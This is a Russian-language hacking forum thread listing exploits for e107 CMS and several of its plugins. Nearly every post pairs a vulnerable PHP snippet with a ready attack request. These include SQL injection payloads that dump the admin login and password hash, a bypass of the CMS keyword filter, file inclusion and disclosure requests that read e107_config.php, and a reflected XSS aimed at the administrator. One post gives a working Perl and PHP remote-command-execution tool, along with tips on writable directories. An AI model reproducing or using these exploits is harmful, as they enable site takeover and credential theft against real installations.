Старый 05.07.2010, 12:13   #1
RulleR
 
Аватар для RulleR
 
Регистрация: 04.07.2010
Сообщений: 39
Репутация: 58
По умолчанию Уязвимости e107 CMS и плагинов

Plugin name: Ajax Chat (download)
Version: 1.1

SQL injection

Vuln file: /e107_plugins/ajax_chat/w.php
PHP код:
/*...*/
    
require_once("../../class2.php");
/*...*/
    
$msg $_REQUEST["m"];
    
$msg htmlspecialchars(stripslashes($msg));

    
$n $_REQUEST["n"];
    
$n htmlspecialchars(stripslashes($n));
/*...*/
$sql->mySQLresult = @mysql_query("SELECT user_id FROM ".MPREFIX."user WHERE user_name='".$n."' ");

        
$capt $sql->db_Fetch();
        
        
$theid =$capt['user_id'];
/*...*/        
$n "<strong>&lt;<a style=\"text-decoration: none;\" href='../../user.php?id.".$theid."'>".$n."</a>&gt;</strong>";
/*...*/

# file: /class2.php

/*...*/
$inArray = array("'"";""/**/""/UNION/""/SELECT/""AS ");
if (
strpos($_SERVER['PHP_SELF'], "trackback") === false) {
    foreach(
$inArray as $res) {
        if(
stristr($_SERVER['QUERY_STRING'], $res)) {
            die(
"Access denied.");
        }
    }
}
/*...*/ 
Передаем параметр "n" постом, чтобы "хакерские слова" не попали в QUERY_STRING

Exploit:
Код:
POST http://[host]/[path]/e107_plugins/ajax_chat/w.php?m=xek HTTP/1.0
Content-type: application/x-www-form-urlencoded

n=' union select concat_ws(0x3a,user_loginname,user_password) from e107_user where user_id=1-- 
Note: Вывод наблюдаем по адресу http://[host]/[path]/e107_plugins/ajax_chat/chat.txt
Код:
<strong>&lt;<a style="text-decoration: none;" href='../../user.php?id.{user_loginname:user_password}'>
RulleR вне форума   Ответить с цитированием
Старый 05.07.2010, 12:17   #2
RulleR
 
Аватар для RulleR
 
Регистрация: 04.07.2010
Сообщений: 39
Репутация: 58
По умолчанию e107 Plugin [e107shop] Local File Inclusion Vulnerability

Plugin name: e107shop (download)
Version: 1.2.19

Local File Inclusion

Vuln file: /e107_plugins/e107shop/payment.php
PHP код:
<?php
/*...*/
$checkout .= e107shop_payment_forms($_POST["payment"], $grandTotal$_POST["customer_name"], $_POST["customer_last_name"], 
$_POST["customer_city"], $_POST["customer_state"], $_POST["customer_country"], $_POST["region"], 
$postage_price$_POST["customer_zip"], $_POST["customer_address1"] . "<br>" $_POST["customer_address2"], 
$_POST["customer_email"], $_POST["coupon"]);
/*...*/

# file: /e107_plugins/e107shop/library/payment_class.php

/*...*/
function e107shop_payment_forms($gateway$total$fname$lname$city
$state$country$region$postage$zip$address$email$coupon){
/*...*/
    // security traps
    
$gateway $tp->toDB($gateway);
/*...*/
    
$payment_text = require("gateways/".$gateway);
/*...*/

# file: /e107_handlers/e_parse_class.php

/*...*/
    
function toDB($data$nostrip false$no_encode false$mod false)
    {
        global 
$pref;
        if (
is_array($data)) {
            
// recursively run toDB (for arrays)
            
foreach ($data as $key => $var) {
                
$ret[$key] = $this -> toDB($var$nostrip$no_encode$mod);
            }
        } else {
            if (
MAGIC_QUOTES_GPC == TRUE && $nostrip == false) {
                
$data stripslashes($data);
            }
            if(isset(
$pref['post_html']) && check_class($pref['post_html']))
            {
                
$no_encode TRUE;
            }
            if (
$no_encode === TRUE && $mod != 'no_html')
            {
                
$search = array('$''"'"'"'\\''<?');
                
$replace = array('$','&quot;',''', '\', '&lt;?');
                $ret = str_replace($search, $replace, $data);
            } else {
                $data = htmlspecialchars($data, ENT_QUOTES, CHARSET);
                $data = str_replace('
\\', '\', $data);
                $ret = preg_replace("/&amp;#(\d*?);/", "&#\\1;", $data);
            }

            if(!check_class($pref['
php_bbcode']))
            {
                $ret = preg_replace("#\[(php)#i", "[\\1", $ret);
/*...*/
        return $ret;
    }
/*...*/
Exploit:
Код:
POST http://[host]/[path]/e107_plugins/e107shop/checkout.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded

payment=../../../../../[local_file]&pay=Proceed

Последний раз редактировалось RulleR; 12.07.2010 в 14:04..
RulleR вне форума   Ответить с цитированием
Старый 05.07.2010, 12:19   #3
RulleR
 
Аватар для RulleR
 
Регистрация: 04.07.2010
Сообщений: 39
Репутация: 58
По умолчанию e107 Plugin [Youtube Gallery] Blind SQL injection Vulnerability

Plugin name: Youtube Gallery (download)
Version: 4.01

Blind SQL injection

Vuln file: /e107_plugins/ytm_gallery/db.php
PHP код:
/*...*/
header("Cache-Control: no-cache");
header("Pragma: nocache");
require_once(
"../../class2.php");
/*...*/
$id_sent $_REQUEST['q'];
/*...*/
$query mysql_query("SELECT total_votes, total_value, used_ips FROM $rating_dbname.$rating_tableName WHERE id='$id_sent' ")or die(" Error: ".mysql_error());
/*...*/ 
Need: magic_quotes = off
Exploit:
Код:
POST http://[host]/[path]/e107_plugins/ytm_gallery/db.php HTTP/1.0
Content-type: application/x-www-form-urlencoded

q=' and (select+*+from+(select+count(*),concat((select concat_ws(0x3a,user_loginname,user_password) from e107_user where user_id=1),floor(rand(0)*2)) from e107_links group by 2)x)--
RulleR вне форума   Ответить с цитированием
Старый 05.07.2010, 12:22   #4
RulleR
 
Аватар для RulleR
 
Регистрация: 04.07.2010
Сообщений: 39
Репутация: 58
По умолчанию e107 Plugin [Alternate Profiles] File Disclosure Vulnerability

Plugin name: Alternate Profiles (download)
Version: 0.3

File Disclosure

Vuln file: /e107_plugins/alternate_profiles/stream.php
PHP код:
<?php 
ob_start
();
header("Expires: Mon, 20 Dec 1977 00:00:00 GMT");
header("Last-Modified: " gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0"false);
header("Pragma: no-cache");
header("Content-Type: audio/mpeg");
@
readfile($_GET["file"]);// ololo
ob_end_flush();
?>
Exploit:
Код:
http://[host]/[path]/e107_plugins/alternate_profiles/stream.php?file=../../e107_config.php
RulleR вне форума   Ответить с цитированием
Старый 05.07.2010, 12:26   #5
RulleR
 
Аватар для RulleR
 
Регистрация: 04.07.2010
Сообщений: 39
Репутация: 58
По умолчанию e107 Plugin [Torrent Tracker] SQL injection Vulnerability

Plugin name: Torrent Tracker (download)
Version: 1.06b4

SQL injection

Vuln file: /e107_plugins/tracker_menu/users.php
PHP код:
/*...*/
elseif($_GET["cntr"] == "info" || $_GET["cntr"] == "edit") {
if(
$_GET["uid"]) {
    
$uid $_GET["uid"];
    
$uname $e_users[0][$uid];
}
/*...*/
$numuser $sql -> db_Select("tracker_users""user_id,level,up,dl,passkey,actdate,lastdate,tentorr,lastipport""user_id = ".$uid);
/*...*/ 
Need: user account
Exploit:
Код:
http://[host]/[path]/e107_plugins/tracker_menu/users.php?cntr=info&uid=0+union+select+null,concat_ws(0x3a,user_loginname,user_password),null,null,null,null,null,null,null+from+e107_user+where+user_id=1--+
RulleR вне форума   Ответить с цитированием
Старый 05.07.2010, 12:31   #6
RulleR
 
Аватар для RulleR
 
Регистрация: 04.07.2010
Сообщений: 39
Репутация: 58
По умолчанию e107 Plugin [Kroozearcade] SQL injection Vulnerability

Plugin name: Kroozearcade (download)
Version: 8.0

SQL injection

#1
Vuln file: /e107_plugins/kroozearcade_menu/challenges.php
PHP код:
/*...*/
if (isset($_GET['details'])) {
$sql->mySQLresult = @mysql_query("SELECT * FROM ".MPREFIX."arcade_challenges WHERE id=".$_GET['details']."");
$row $sql->db_Fetch();
/*...*/ 
Need: user account
Exploit:
Код:
http://[host]/[path]/e107_plugins/kroozearcade_menu/challenges.php?details=0+union+select+null,null,null,null,null,null,concat_ws(0x3a,user_loginname,user_password),null,null,null,null,null,null+from+e107_user+where+user_id=1
#2
Vuln file: /e107_plugins/kroozearcade_menu/fav.php
PHP код:
/*...*/
if(isset($_GET['confirm'])) {
    
$sql->mySQLresult = @mysql_query("SELECT game_title FROM ".MPREFIX."arcade_games WHERE game_id=".$_GET['gameid']."");
    
$conf $sql->db_Rows();
/*...*/ 
Need: user account
Exploit:
Код:
http://[host]/[path]/e107_plugins/kroozearcade_menu/fav.php?confirm=xek&gameid=0+union+select+concat_ws(0x3a,user_loginname,user_password)+from+e107_user+where+user_id=1
RulleR вне форума   Ответить с цитированием
Старый 05.07.2010, 12:33   #7
RulleR
 
Аватар для RulleR
 
Регистрация: 04.07.2010
Сообщений: 39
Репутация: 58
По умолчанию e107 Plugin [e107_netquery] SQL injection Vulnerability

Plugin name: e107_netquery (download)
Version: 1.0

SQL injection

Vuln file: /e107_plugins/netquery/portlist.php
PHP код:
/*...*/
require_once("../../class2.php");
/*...*/
$portnum = (isset($_REQUEST['portnum'])) ? $_REQUEST['portnum'] : '80';
/*...*/
$query "SELECT * FROM ".MPREFIX."nq_ports WHERE flag < '99' AND port = '".$portnum."' ";
/*...*/ 
Need: magic_quotes = off
Exploit:
Код:
POST http://[host]/[path]/e107_plugins/netquery/portlist.php HTTP/1.0
Content-type: application/x-www-form-urlencoded

portnum=' union select 1,null,concat_ws(0x3a,user_loginname,user_password),null,null,null from e107_user where user_id=1-- 
RulleR вне форума   Ответить с цитированием
Старый 05.07.2010, 12:35   #8
RulleR
 
Аватар для RulleR
 
Регистрация: 04.07.2010
Сообщений: 39
Репутация: 58
По умолчанию e107 Plugin [aa_meetings] SQL injection Vulnerability

Plugin name: aa_meetings (download)
Version: 1.1

SQL injection

Vuln file: /e107_plugins/aa_meetings/directory.php
PHP код:
/*...*/
if (($_GET['Day_qf'] && $_GET['City_qf']) || $_GET['Search_qf']) {

    
// Create the SQL select statement for the meetings
    
$query "select t1.*, concat_ws(\"@\", left(t1.Day, 3), date_format(t1.Time, \"%l:%i %p\")) as `MeetingTime`, (select group_concat(ta.Type separator \"/\") from e107_aam_mtg_Types as ta where ta.MeetingID=t1.MeetingID) as `MeetingType` from e107_aam_meetings as t1 left join e107_aam_mtg_Types as t2 on t1.MeetingID=t2.MeetingID where 1";
/*...*/
    
if ($_GET['City_qf']) $query .= " and t1.City=\"".urldecode($_GET['City_qf'])."\"";
/*...*/
    
$result mysql_query ($query);
/*...*/ 
Exploit:
Код:
http://[host]/[path]/e107_plugins/aa_meetings/directory.php?Day_qf=xek&City_qf=%2522+union+select+null,null,null,concat_ws(0x3a,user_loginname,user_password),null,null,null,null,null,null,null,null,null,null,null,null+from+e107_user+where+user_id=1--+

Последний раз редактировалось RulleR; 05.07.2010 в 20:10..
RulleR вне форума   Ответить с цитированием
Старый 05.07.2010, 21:47   #9
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию e107 <= 0.7.20 remote code execute

e107 <= 0.7.20 remote code execute

Допилено из:

http://downloads.securityfocus.com/v...loits/40252.pl

Код:
use LWP::UserAgent;
my $path = $ARGV[0] or die("Usage: perl e107_phpbb.pl http://e107site/pathto/contact.php\n");
sub char_p($) {
         $str1=$_[0];
         $aa="";$bb="";
         for ($i = 0; $i<length($str1); $i++ ) {
             $aa =  ord(substr($str1,$i,1));
             if ( $i == 0 ) {$bb= "chr(" . $aa . ")";} else { $bb= $bb. ".chr(" . $aa . ")" ;}
         }
         return "$bb";
}
go();
sub go 
{
  while (1){
     print "Enter command - passthru(.....):\n";
     $choice = <STDIN>;
     chomp $choice;
     print "--------------------\n";
     print "Command: passthru($choice)\n";
     print "--------------------\n";
     $choice1 = char_p ($choice);
     my $load = "passthru($choice1)"; # Simple 'id' command. Put ur PHP payload here! :)
     # Remove comment for proxy support
     #my $proxy = 'http://127.0.0.1:8118/';
     #$ENV{http_proxy} = $proxy ? $proxy: 0;
     $ua = new LWP::UserAgent;
     $ua->agent("Mozilla/5.0");
     if ( $proxy ){
       print "[*] Using proxy $proxy \n";
       $ua->env_proxy('1');
     }
     my $req = new HTTP::Request POST => $path;
     $req->content_type('application/x-www-form-urlencoded');
     $req->content("send-contactus=1&author_name=%5Bphp%5D$load%3Bdie%28%29%3B%5B%2Fphp%5D");
     my $res = $ua->request($req);
     my $data = $res->as_string;
     if ( $data =~ /<td class=["']main_section['"]>(.*)/ ){
       $data = $1;
       print "$data\n";
       print "--------------------\n";
       print "done: passthru($choice)\n";
       print "--------------------\n";
     }else{
       print "$data\n";
       print "--------------------\n";
       print "done: passthru($choice)\n";
       print "--------------------\n";
     }
  }
}
Т.е. просто вводите например ls -la и видите результат, если не сработало - тогда юзаем сплойт ниже (или сразу его, чтобы проверить сначала), смотрим phpinfo() и видим disabled functions (на крутых сайтах постоянно встречается), думаем, что можно сделать с помощью php-кода:

PHP код:
<?
$url 
"http://site.com/contact.php";
$parse_url parse_url($url);
$path $parse_url["path"];
$host$parse_url["host"];
$code ='phpinfo();'#<=== Ваш php-код здесь
$data1 '[ php ]'.$code.'die();[ /php ]'#<=== В этой строчке удалите все пробелы
$data "send-contactus=1&author_name=send-contactus=1&author_name=".urlencode($data1);
$fp fsockopen($host80$errno$errstr30); 
if (
$fp){ 
  
$out "POST ".$path." HTTP/1.1\n"
  
$out .= "Host: ".$host."\n"
  
$out .= "Referer: ".$url."/\n"
  
$out .= "User-Agent: Opera\n"
  
$out .= "Content-Type: application/x-www-form-urlencoded\n"
  
$out .= "Content-Length: ".strlen($data)."\n\n"
  
$out .= $data."\n\n"
  
fputs($fp$out);
  while(
$gets=fgets($fp,2048)) { 
    print 
$gets
  } 
  
fclose($fp); 
}
?>
обычно доступны на запись:

/e107_files/public
/e107_files/public/avatars
/e107_files/cache

PS: Примечание - в некоторых случаях команды с пробелами вообще не работают, т.е. для первого варианта кода лучше юзать просто ls для начала
Pashkela вне форума   Ответить с цитированием
Старый 06.07.2010, 13:27   #10
Strilo4ka
Banned
 
Регистрация: 05.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

Reputation v1.1

23:34 05-Feb-10

Blind SQL inj

Vuln file: /e107_plugins/reputation/reputation.php

PHP код:
...if($pref['reputation_show']) {
    if(
$_GET['list']) {
    
$user get_user_data($_GET['list']);

    
$repdb = new db();
    
$repdb->db_Connect($mySQLserver$mySQLuser$mySQLpassword$mySQLdefaultdb);

    
$repdb->db_Select("reputation""reputation_value""reputation_to_id='".$_GET['list']."'");

    while(
$trr $repdb->db_Fetch()) {
        
$total_rep $total_rep $trr['reputation_value'];
    }... 
У меня 5 мускуль.

Result:
http://[host]/[path]/e107_plugins/reputation/reputation.php?list=1'+and+substring(version(),1,1 )=5
общая репа выводиться!

http://[host]/[path]/e107_plugins/reputation/reputation.php?list=1'+and+substring(version(),1,1 )=4
общая репа не выводиться!

условие:
mg=off

пасивная XSS
- травим админа!

/e107_plugins/reputation/reputation.php
PHP код:
...<div style='margin: 4px; padding: 4px; border: 1px solid red; text-align: center;'>
                                            <
input type='hidden' name='repto' value='".$user['user_id']."' />
                                            <
input type='hidden' name='url' value='".$_POST["url_p"]."' />
                                            <
input type='hidden' name='repfrom' value='".USERID."' />
                                            <
input type='hidden' name='rand_num' value='".$sec_img->random_number."' />".$sec_img->r_image()."
                                            
<br />... 
http://[host]/[path]/e107_plugins/reputation/reputation.php?add=anything
постом шлем url_p=' /><script>alert(/XSS/)</script>

Там дальше может блинд есть в инсерте, только толку от него когда нет вывода ошибки.

ps CMS e107 http://[host]/[path]/comment.php - у меня пути были.
Strilo4ka вне форума   Ответить с цитированием
Ответ

Метки
e107 cms, e107 cms vulnerabilities, уязвимости e107 cms

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot